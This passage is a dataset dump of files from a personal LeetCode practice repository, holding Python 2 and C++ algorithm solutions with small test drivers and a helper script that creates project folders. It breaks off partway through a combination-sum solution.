"blob_id": "e0050e588ea0ed4078c0085e110a487bc3cba687",
"content_id": "38e495d606bfe6fc36cf8bbd61a1c3b9d4abf5b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 913,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 30,
"path": "/13_largest_rectangle_in_histogram/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param height, a list of integer\n # @return an integer\n def largestRectangleArea(self, height):\n s = [] # use list to simulate stack\n idx = 0\n max_area = 0\n \n while idx < len(height):\n if len(s) == 0 or height[s[-1]] <= height[idx]:\n s.append(idx)\n idx += 1\n else:\n bar = s.pop()\n start = -1 if len(s) == 0 else s[-1]\n max_area = max(max_area, (idx - start -1) * height[bar])\n\n while len(s) != 0:\n bar = s.pop()\n start = -1 if len(s) == 0 else s[-1]\n max_area = max(max_area, (idx - start -1) * height[bar])\n \n return max_area\n\ns = Solution()\nprint s.largestRectangleArea([2,1,5,6,2,3]) # 10\nprint s.largestRectangleArea([0,1,0,1]) # 1\n"
},
{
"alpha_fraction": 0.4714548885822296,
"alphanum_fraction": 0.5230202674865723,
"avg_line_length": 21.66666603088379,
"blob_id": "6d17fc449f732c5a64ccc8d3104dd2357b9f15c9",
"content_id": "0143f4f2c328de9a525ba2005f885dd5530b9e61",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 543,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 24,
"path": "/25_search_insert_position/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param A, a list of integers\n # @param target, an integer to be inserted\n # @return integer\n def searchInsert(self, A, target):\n if not A:\n return 0\n\n i = 0\n while i < len(A):\n if A[i] >= target:\n break\n i += 1\n\n return i\n\ns = Solution()\nprint s.searchInsert([1,3,5,6],5) # 2 \nprint s.searchInsert([1,3,5,6],2) # 1\nprint s.searchInsert([1,3,5,6],7) # 4\nprint s.searchInsert([1,3,5,6],0) # 0"
},
{
"alpha_fraction": 0.4193798303604126,
"alphanum_fraction": 0.48914727568626404,
"avg_line_length": 22.454545974731445,
"blob_id": "98ca35fd983802ffbffb16d43c412efc980e19f6",
"content_id": "7ae9fa5a88107c34f6b1824b7de511558af0e85f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1290,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 55,
"path": "/49_find_minimum_in_rotated_sorted_array_ii/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <assert.h>\nusing namespace std;\n\nclass Solution {\npublic:\n int findMin(vector<int> &num) {\n if (num.size() == 0)\n return -1;\n\n int start = 0;\n int end = num.size() - 1;\n while (start < end) {\n int mid = (start + end) / 2;\n if (num[mid] < num[end])\n end = mid;\n else if (num[mid] > num[end])\n start = mid + 1;\n else\n end--;\n }\n return num[start];\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {4, 5, 6, 7, -1453, 1, 2};\n vector<int> case1(arr, arr + 7);\n assert(-1453 == s.findMin(case1));\n\n int arr2[] = {6, 7, -1453, 1, 2, 4, 5};\n vector<int> case2(arr2, arr2 + 7);\n assert(-1453 == s.findMin(case2));\n\n int arr3[] = {2,1};\n vector<int> case3(arr3, arr3 + 2);\n assert(1 == s.findMin(case3));\n\n int arr4[] = {1,1};\n vector<int> case4(arr4, arr4 + 2);\n assert(1 == s.findMin(case4));\n\n int arr5[] = {3,1,1};\n vector<int> case5(arr5, arr5 + 3);\n assert(1 == s.findMin(case5));\n\n int arr6[] = {31,1,1,1,13,16,17};\n vector<int> case6(arr6, arr6 + 7);\n assert(1 == s.findMin(case6));\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.3594420552253723,
"alphanum_fraction": 0.40987125039100647,
"avg_line_length": 24.91666603088379,
"blob_id": "4ff6172738bc83949c238c2f7b7a76a0908b8e99",
"content_id": "f61a47b653fa3d7a3ec53de52652e57c46fb7cfb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 932,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 36,
"path": "/29_rotate_image/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param matrix, a list of lists of integers\n # @return a list of lists of integers\n def rotate(self, matrix):\n if not matrix:\n return matrix\n\n n = len(matrix)\n\n for k in xrange(0, n/2):\n x = k\n for y in xrange(k, n-1-k):\n cx = x\n cy = y\n print cx, cy\n last = matrix[cx][cy]\n for t in xrange(0, 4):\n nx = cy\n ny = n - 1 - cx\n tmp = matrix[nx][ny]\n matrix[nx][ny] = last\n last = tmp\n cx = nx\n cy = ny\n return matrix\n\ns = Solution()\nm1 = [[1]]\nprint s.rotate(m1) # [[1]]\nm2 = [[1,4,7],[2,5,8],[3,6,9]]\nprint s.rotate(m2)\nm3 = [[1,5,9,13],[2,6,10,14],[3,7,11,15],[4,8,12,16]]\nprint s.rotate(m3)"
},
{
"alpha_fraction": 0.5779510140419006,
"alphanum_fraction": 0.5924276113510132,
"avg_line_length": 31.071428298950195,
"blob_id": "ba23d834939fd92d431ce0e88e61e5bb7df5cf68",
"content_id": "3dce2bf1288d776a31238402373bb0b725d2dfcd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1796,
"license_type": "no_license",
"max_line_length": 99,
"num_lines": 56,
"path": "/52_combination_sum/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <assert.h>\nusing namespace std;\n\nclass Solution {\npublic:\n vector<vector<int> > combinationSum(vector<int> &candidates, int target) {\n vector<vector<int> > combinations;\n sort(candidates.begin(), candidates.end());\n this->findCombination(candidates, target, combinations);\n\n return combinations;\n }\n\n void findCombination(vector<int> &candidates, int target, vector<vector<int> > &combinations) {\n static vector<int> combination;\n static int cur; // current candidate\n static int sum; // current sum\n\n if (cur == candidates.size()) // used all candidates\n return;\n\n if (sum + candidates[cur] == target) {\n combination.push_back(candidates[cur]);\n combinations.push_back(combination);\n combination.pop_back();\n } else if (sum + candidates[cur] < target) {\n sum += candidates[cur];\n combination.push_back(candidates[cur]);\n findCombination(candidates, target, combinations);\n combination.pop_back();\n sum -= candidates[cur];\n\n cur++;\n findCombination(candidates, target, combinations);\n cur--; \n } \n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {2,3,6,7};\n vector<int> case1(arr, arr+sizeof(arr)/sizeof(arr[0]));\n vector<vector<int> > combinations = s.combinationSum(case1, 7);\n assert(combinations.size() == 2);\n assert(combinations[0].size() == 3);\n assert(combinations[0][0] == 2);\n assert(combinations[0][1] == 2);\n assert(combinations[0][2] == 3);\n assert(combinations[1].size() == 1);\n assert(combinations[1][0] == 7);\n return 0;\n}\n"
},
{
"alpha_fraction": 0.44973546266555786,
"alphanum_fraction": 0.4751322865486145,
"avg_line_length": 23.230770111083984,
"blob_id": "03d6ba71745cbe283259fb48ecfbc8ccc3d550ac",
"content_id": "31d731b0ed93674103e7ea1e8d087a9db3c78ba3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 945,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 39,
"path": "/43_longest_consecutive_sequence/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <unordered_map>\nusing namespace std;\n\nclass Solution {\npublic:\n int longestConsecutive(vector<int> &num) {\n unordered_map<int,int> m;\n int longest = 0;\n for (int i = 0; i < num.size(); i++) {\n if (m.count(num[i]))\n continue;\n\n int upp = 0;\n int low = 0;\n if (m.count(num[i]-1))\n low = m[num[i]-1];\n if (m.count(num[i]+1))\n upp = m[num[i]+1];\n longest = max(longest, upp+low+1);\n\n m[num[i]] = 0;\n m[num[i]+upp] = upp+low+1;\n m[num[i]-low] = upp+low+1;\n }\n return longest;\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {100, 4, 200, 1, 3, 2};\n std::vector<int> v(arr, arr+6);\n int longest = s.longestConsecutive(v);\n cout << longest << endl;\n return 0;\n}\n"
},
{
"alpha_fraction": 0.3563636243343353,
"alphanum_fraction": 0.3969697058200836,
"avg_line_length": 24.796875,
"blob_id": "d0b09c7d7a03d86582eedf16900bb1ff28323825",
"content_id": "b571eaff107e51312ba35688f5dbfee8bf6dc34a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1650,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 64,
"path": "/27_search_for_a_range/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param A, a list of integers\n # @param target, an integer to be searched\n # @return a list of length 2, [index1, index2]\n def searchRange(self, A, target):\n if not A:\n return [-1, -1]\n\n # find position pos of target\n s = 0\n e = len(A) - 1\n pos = -1\n while s <= e:\n mid = (s + e) / 2\n if A[mid] == target:\n break\n elif A[mid] > target:\n e = mid - 1\n else:\n s = mid + 1\n if s > e:\n return [-1, -1]\n else:\n pos = mid\n\n # find first ele in A[pos+1:] that is larger than target\n s = pos + 1\n e = len(A) - 1\n while s < e:\n mid = (s + e) / 2\n if A[mid] == target:\n s = mid + 1\n else:\n e = mid\n if A[e] == target:\n last = e\n else:\n last = e - 1\n\n # find last ele in A[0:pos] that is smaller than target\n s = 0\n e = pos - 1\n while s < e:\n mid = (s + e + 1) / 2\n if A[mid] == target:\n e = mid - 1\n else:\n s = mid\n if A[s] == target:\n first = s\n else:\n first = s + 1\n\n return [first, last]\n\ns = Solution()\nprint s.searchRange([1], 1)\nprint s.searchRange([5, 7, 7, 8, 8, 10], 8) # [3, 4]\nprint s.searchRange([5, 7, 7, 8, 8, 8], 8) # [3, 5]\nprint s.searchRange([7, 7, 7, 8, 8, 8], 7) # [0, 2]\nprint s.searchRange([5, 7, 7, 8, 8, 10], 6) # [-1, -1]"
},
{
"alpha_fraction": 0.4336075186729431,
"alphanum_fraction": 0.45240893959999084,
"avg_line_length": 21.394737243652344,
"blob_id": "1db8475bc5a53a981de5e7abb851155d72e49ca9",
"content_id": "510790df9eb7b0a50d549d44327a44e93b5e688f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 851,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 38,
"path": "/42_majority_element/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <assert.h>\nusing namespace std;\n\nclass Solution {\npublic:\n int majorityElement(vector<int> &num) {\n if (num.size() == 0)\n return -1; // or exception\n\n int element = 0;\n int count = 0;\n for (int i = 0; i < num.size(); i++) {\n if (count == 0) {\n element = num[i];\n count += 1;\n } else {\n if (element == num[i])\n count++;\n else\n count--;\n }\n }\n assert(count);\n return element;\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {1,2,3,1,2,4,1};\n vector<int> num(arr, arr+7);\n int majority = s.majorityElement(num);\n cout << majority << endl;\n return 0;\n}\n"
},
{
"alpha_fraction": 0.39371258020401,
"alphanum_fraction": 0.42664670944213867,
"avg_line_length": 17.08108139038086,
"blob_id": "2f3b1ae923637422da24839848d4030f7ac082ab",
"content_id": "6552cebb564bb0f4c8ad2ea4c45ac9d7490f7f58",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 668,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 37,
"path": "/21_subsets/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param S, a list of integer\n # @return a list of lists of integer\n def subsets(self, S):\n if not S:\n return []\n\n subsets = []\n S.sort()\n for num in xrange(0, (1 << len(S))):\n bins = bin(num)\n subset = []\n for digit in xrange(0, len(bins) - 2):\n if bins[-digit-1] == '1':\n subset.append(S[digit])\n subsets.append(subset)\n \n\n return subsets\n\ns = Solution()\nprint s.subsets([1,2,3])\n\"\"\"\n[\n [3],\n [1],\n [2],\n [1,2,3],\n [1,3],\n [2,3],\n [1,2],\n []\n]\n\"\"\""
},
{
"alpha_fraction": 0.46071428060531616,
"alphanum_fraction": 0.47232142090797424,
"avg_line_length": 22.35416603088379,
"blob_id": "f9766aa298fe2e5a1f78b0fdbd299dd9aade01b9",
"content_id": "d4cc14be56bca56ecbb4ec4c53f47c9a29ea6151",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1120,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 48,
"path": "/36_next_permution/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <iostream>\n#include <algorithm>\n#include <vector>\n\nclass Solution {\npublic:\n void nextPermutation(std::vector<int> &num) {\n if (num.size() <= 1)\n return;\n\n for (int h = num.size()-2; h >= 0; h--) {\n // find the minimal number larger than num[h] in the right part\n int l = num.size()-1;\n for (; l > h && num[l] <= num[h]; l--);\n if (l != h) {\n std::swap(num[l], num[h]);\n std::reverse(num.begin()+h+1, num.end());\n return;\n }\n }\n std::reverse(num.begin(), num.end()); \n }\n};\n\n// template <typename T>\nvoid printVector(const std::vector<int> &v) {\n for (std::vector<int>::const_iterator it = v.begin(); it < v.end(); ++it)\n {\n std::cout << *it << \" \";\n }\n std::cout << std::endl;\n}\n\nint main(int argc, char **argv) {\n Solution s;\n std::vector<int> v;\n v.push_back(1);\n v.push_back(2);\n v.push_back(3);\n v.push_back(4);\n\n for (int i = 0; i < 26; i++) {\n printVector(v);\n s.nextPermutation(v);\n }\n\n return 0;\n}"
},
{
"alpha_fraction": 0.4962742030620575,
"alphanum_fraction": 0.5101838111877441,
"avg_line_length": 23.851852416992188,
"blob_id": "f5a71b1ec9e89fa32f2eeb51030cabdeff549832",
"content_id": "4fc1da617162a242a9b1578b1c99bc38c5b8596a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2013,
"license_type": "no_license",
"max_line_length": 99,
"num_lines": 81,
"path": "/51_construct_binary_tree_from_inorder_and_postorder_traversal/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <queue>\n#include <assert.h>\n\nusing namespace std;\n\nstruct TreeNode {\n int val;\n TreeNode *left;\n TreeNode *right;\n TreeNode(int x) : val(x), left(NULL), right(NULL) {}\n};\n\nclass Solution {\npublic:\n TreeNode *buildTree(vector<int> &inorder, vector<int> &postorder) {\n return this->build(inorder, 0, inorder.size() - 1, postorder, 0, postorder.size() - 1);\n }\n\n TreeNode *build(vector<int> &inorder, int il, int ir, vector<int> &postorder, int pl, int pr) {\n if (il > ir)\n return NULL;\n\n TreeNode *node = new TreeNode(postorder[pr]);\n int index = il;\n while (1) {\n if (inorder[index] == postorder[pr])\n break;\n index++;\n }\n node->left = build(inorder, il, index - 1, postorder, pl, pl + index - il -1);\n node->right = build(inorder, index + 1, ir, postorder, pl + index -il, pr - 1);\n return node;\n }\n};\n\nvoid bfs(TreeNode *root) {\n if (root == NULL) {\n cout << \"tree is empty!\" << endl;\n return;\n }\n queue<TreeNode *> q;\n q.push(root);\n int cur = 1;\n int next = 0;\n int count = 0;\n while (!q.empty()) {\n TreeNode *node = static_cast<TreeNode *>(q.front());\n q.pop();\n cout << node->val;\n count++;\n if (node->left) {\n q.push(node->left);\n next++;\n }\n if (node->right) {\n q.push(node->right);\n next++;\n }\n if (count == cur) {\n cout << endl;\n count = 0;\n cur = next;\n }\n }\n}\n\nint main(int argc, char **argv) {\n Solution s;\n int post_seq[] = {4,2,5,6,3,1};\n int in_seq[] = {2,4,1,5,3,6};\n vector<int> postorder(post_seq, post_seq + 6);\n vector<int> inorder(in_seq, in_seq + 6);\n TreeNode *node = s.buildTree(inorder, postorder);\n cout << \"pinrt binary tree in bfs\" << endl;\n bfs(node);\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.5892857313156128,
"alphanum_fraction": 0.5928571224212646,
"avg_line_length": 20.538461685180664,
"blob_id": "2b68a618f9fd9509110784ae9b963c879c623a9c",
"content_id": "69a0aa39026e7e57fd4de4ed96e664e325f768ee",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 280,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 13,
"path": "/17_word_ladder_ii/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param start, a string\n # @param end, a string\n # @param dict, a set of string\n # @return a list of lists of string\n def findLadders(self, start, end, dict):\n pass\n\ns = Solution()\nprint s.() # "
},
{
"alpha_fraction": 0.4747356176376343,
"alphanum_fraction": 0.49471211433410645,
"avg_line_length": 21.394737243652344,
"blob_id": "98e0de155e52f2b6cca007775f16515497becd9b",
"content_id": "ddc5ae646324d8c639ba6dce06d2c0cc604c1dff",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 851,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 38,
"path": "/41_maximum_product_subarray/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\nusing namespace std;\n\nclass Solution {\npublic:\n int maxProduct(int A[], int n) {\n int max_prod = A[0];\n int min_prod = A[0];\n int result = max_prod;\n\n for (int i = 1; i < n; i++) {\n int max_tmp = max_prod;\n\n max_prod = max(A[i], A[i]*max_prod);\n max_prod = max(max_prod, A[i]*min_prod);\n\n min_prod = min(A[i], min_prod*A[i]);\n min_prod = min(min_prod, max_tmp*A[i]);\n\n result = max(result, max_prod);\n\n }\n return result;\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {2,3,-2,4};\n int prod = s.maxProduct(arr, 4);\n cout << prod << endl;\n int arr2[] = {2,-5,-2,-4,3};\n prod = s.maxProduct(arr2, 5);\n cout << prod << endl;\n return 0;\n}\n"
},
{
"alpha_fraction": 0.5011211037635803,
"alphanum_fraction": 0.5022421479225159,
"avg_line_length": 27.80645179748535,
"blob_id": "3f917ac38e3024ffb6bb233290e84a8b9cbadcac",
"content_id": "a3e4c83a19b5f2fd76b36a3f74138f88bfa39197",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 892,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 31,
"path": "/1_Binary_Tree_Level_Order_Traversal_II/s3-use-double-list-ok.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Definition for a binary tree node\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param root, a tree node\n # @return a list of lists of integers\n def levelOrderBottom(self, root):\n if not root:\n return []\n \n result = [] # final result, list of levels\n current_line = []\n next_line = [root]\n while next_line:\n current_line = next_line\n next_line = []\n result.append([x.val for x in current_line])\n for node in current_line:\n if node.left:\n next_line.append(node.left)\n if node.right:\n next_line.append(node.right)\n result.reverse()\n \n return result"
},
{
"alpha_fraction": 0.5909631252288818,
"alphanum_fraction": 0.601664662361145,
"avg_line_length": 23.02857208251953,
"blob_id": "b3c14da62294e2f6a53ff5c03d534f6ed94f9b8d",
"content_id": "413570d20599cbd2dacee16c9a65ca678a592f85",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 841,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 35,
"path": "/create",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport sys,os\nimport subprocess as sp\n\nlan = sys.argv[1]\nif lan not in ('-p', '-c'):\n print 'unsupported language specified: ' + lan\n sys.exit(-1)\n\nargs = sys.argv[2:]\nargs = map(lambda s: s.lower(), args)\nproject = '_'.join(args)\n\ncmd = 'ls .'\npipe = sp.Popen(cmd, shell=True, stdout=sp.PIPE)\nout, err = pipe.communicate()\nout = out.split()\ndirs = filter(lambda s: s[0].isdigit(), out)\ncur = max([int(x.split('_')[0]) for x in dirs])\nnext = str(cur+1)\nproject = next + '_' + project\n\ncmd = 'mkdir %s' % project\nos.system(cmd)\n\nif lan == '-p':\n cmd = 'cp template.py %s/s1.py' % (project)\n os.system(cmd)\nelif lan == '-c':\n cmd = 'cp template.cc %s/s1.cc' % (project)\n os.system(cmd)\n\nprint 'project %s created in %s successfully' % (project, 'c' if lan == '-c' else 'python')\n"
},
{
"alpha_fraction": 0.4592476487159729,
"alphanum_fraction": 0.4968652129173279,
"avg_line_length": 26.782608032226562,
"blob_id": "30a65acaaa6fbf7fa297b0b96e56c613c0db2832",
"content_id": "9626b81d0b0f96cd52bee9587774b679358043b7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 638,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 23,
"path": "/15_first_missing_positive/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\nclass Solution:\n # @param A, a list of integers\n # @return an integer\n def firstMissingPositive(self, A):\n for i in xrange(len(A)):\n num = A[i]\n while num > 0 and num < len(A)+1 and num != A[num-1]:\n A[i] = A[num-1]\n A[num-1] = num\n num = A[i]\n for i in xrange(len(A)):\n if i+1 != A[i]:\n return i + 1\n return len(A) + 1\n\ns = Solution()\nprint s.firstMissingPositive([3,4,-1,1]) # 2\nprint s.firstMissingPositive([1,2,0]) # 3\nprint s.firstMissingPositive([3,2,1,5,4]) # 6"
},
{
"alpha_fraction": 0.37688443064689636,
"alphanum_fraction": 0.41206029057502747,
"avg_line_length": 19.947368621826172,
"blob_id": "9ba56094033300c9b56eacaae06fc9c9e897848c",
"content_id": "8d8a365675b8d9143d3881f26a4072351cb1e4f2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 796,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 38,
"path": "/45_jump_game_ii/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <assert.h>\nusing namespace std;\n\nclass Solution {\npublic:\n int jump(int A[], int n) {\n if (n == 0)\n return -1;\n if (n == 1)\n return 0;\n\n int steps = 0;\n int last = 0;\n int curr = 0;\n for (int i = 0; curr < n - 1; i++) {\n if (i > last) {\n if (curr == last) \n return -1;\n last = curr;\n steps++;\n }\n curr = max(curr, i + A[i]);\n }\n return steps + 1;\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {2,3,1,1,4};\n assert(2 == s.jump(arr, 5));\n int arr2[] = {3,2,1,0,5};\n assert(-1 == s.jump(arr2, 5));\n return 0;\n}\n"
},
{
"alpha_fraction": 0.3580246865749359,
"alphanum_fraction": 0.4021163880825043,
"avg_line_length": 26.682926177978516,
"blob_id": "1342789ec3ce219588591240076d21aba4d71084",
"content_id": "9dc026817a80dd4758e48b9d8a3eff52187d25f8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1134,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 41,
"path": "/10_trapping_rain_water/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\nclass Solution:\n # @param A, a list of integers\n # @return an integer\n def trap(self, A):\n last_height = 0\n stack = []\n\n capacity = 0\n idx = 0\n while True:\n if idx >= len(A):\n break\n print '+++',A[idx],idx\n print '===',stack\n print '---',capacity\n if A[idx] == 0:\n last_height = 0\n idx += 1\n elif not stack:\n stack.append((A[idx], idx))\n last_height = 0\n idx += 1\n elif stack[-1][0] > A[idx]:\n capacity += (idx - stack[-1][1] - 1) * (A[idx] - last_height)\n stack.append((A[idx], idx))\n last_height = 0\n idx += 1\n else:\n capacity += (idx - stack[-1][1] - 1) * (stack[-1][0] - last_height)\n last_height = stack[-1][0]\n del stack[-1]\n\n return capacity\n\ns = Solution()\nprint s.trap([0,1,0,2,1,0,1,3,2,1,2,1]) # 6\nprint s.trap([2,4,5,6,8,5,5,0,0,0,3,3]) # 9"
},
{
"alpha_fraction": 0.33680295944213867,
"alphanum_fraction": 0.3747211992740631,
"avg_line_length": 27.63829803466797,
"blob_id": "247a95beca0f9cc44eb1faaac3a62f0a504bd98e",
"content_id": "db49c961f34ea3cd905928ee3c10af4855658424",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1345,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 47,
"path": "/26_search_in_rotated_sorted_array/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param A, a list of integers\n # @param target, an integer to be searched\n # @return an integer\n def search(self, A, target):\n if not A:\n return -1\n\n first = 0\n last = len(A)-1\n while first <= last:\n mid = (first + last)/2\n if A[mid] == target:\n return mid\n if target < A[mid]:\n if A[mid] > A[first]: # type 1\n if target >= A[first]:\n last = mid - 1\n else:\n first = mid + 1\n elif A[mid] == A[first]: # unknown type\n first += 1\n else: # type 2\n last = mid - 1\n else:\n if A[mid] > A[first]: # type 1\n first = mid + 1\n elif A[mid] == A[first]:\n first += 1\n else: # type 2\n if A[last] >= target:\n first = mid + 1\n else:\n last = mid - 1\n\n return -1\n\n\n\ns = Solution()\nprint s.search([4, 5, 6, 7, 0, 1, 2], 1) # 5\nprint s.search([4, 5, 6, 7, 0, 1, 2], 5) # 1\nprint s.search([4, 5, 6, 8, 0, 1, 2], 7) # -1\nprint s.search([1,1,1,1], 1) # 0"
},
{
"alpha_fraction": 0.4345616400241852,
"alphanum_fraction": 0.48538753390312195,
"avg_line_length": 27.14285659790039,
"blob_id": "ade929167ecfce3f7a0be6efe686829354912e82",
"content_id": "77e1fdc2cd7719d1f2426cdb19235b0e29c25bfc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 787,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 28,
"path": "/33_plus_one/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param digits, a list of integer digits\n # @return a list of integer digits\n def plusOne(self, digits):\n if not digits:\n return [1]\n\n carry = 1\n for idx in xrange(len(digits) - 1, -1, -1):\n if digits[idx] + carry >= 10:\n carry = (digits[idx] + carry) / 10\n digits[idx] = (digits[idx] + carry) % 10\n else:\n digits[idx] += carry\n carry = 0\n break\n if carry != 0:\n digits.insert(0, carry)\n return digits\n\ns = Solution()\nprint s.plusOne([1,2,3,5]) # [1,2,3,6] \nprint s.plusOne([1,3,9,9]) # [1,4,0,0]\nprint s.plusOne([9,9,9]) # [1,0,0,0]\nprint s.plusOne([0]) # [1]"
},
{
"alpha_fraction": 0.559307336807251,
"alphanum_fraction": 0.5766233801841736,
"avg_line_length": 34.721649169921875,
"blob_id": "cae05db39d86ab59648c9bb6dd2e3beb811f5d41",
"content_id": "bfeb2fc5ac8f9d9b1a9ab07997c73341120a5f25",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3465,
"license_type": "no_license",
"max_line_length": 132,
"num_lines": 97,
"path": "/53_combination_sum_ii/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <set>\n#include <algorithm>\n#include <iostream>\n#include <assert.h>\n\nusing namespace std;\n\nclass Solution {\npublic:\n vector<vector<int> > combinationSum(vector<int> &candidates, int target) {\n sort(candidates.begin(), candidates.end());\n\n vector<int> candidates_count;\n candidates_count.reserve(candidates.size());\n candidates_count[candidates_count.size() - 1] = 1;\n for (int i = candidates_count.size() - 2; i >= 0; i--) {\n if (candidates[i] == candidates[i + 1])\n {\n candidates_count[i] = candidates_count[i + 1] + 1;\n } else {\n candidates_count[i] = 1;\n }\n }\n copy(candidates_count.begin(), candidates_count.end(), ostream_iterator<int>(cout, \" \"));\n vector< vector<int> > combinations;\n findCombinations(candidates, candidates_count, target, combinations);\n cout << endl;\n return combinations;\n }\n\n void findCombinations(vector<int> &candidates, vector<int> &candidates_count, int target, vector< vector<int> > &combinations) {\n // use static vars to reduce params\n static vector<int> combination;\n static int current = 0;\n\n if (current == candidates.size())\n return;\n\n int current_count = candidates_count[current];\n current += current_count;\n findCombinations(candidates, candidates_count, target, combinations);\n current -= current_count;\n int count = 0;\n while (count < candidates_count[current]) {\n if (candidates[current] == target) {\n combination.push_back(candidates[current]);\n combinations.push_back(candidates);\n copy(combination.begin(), 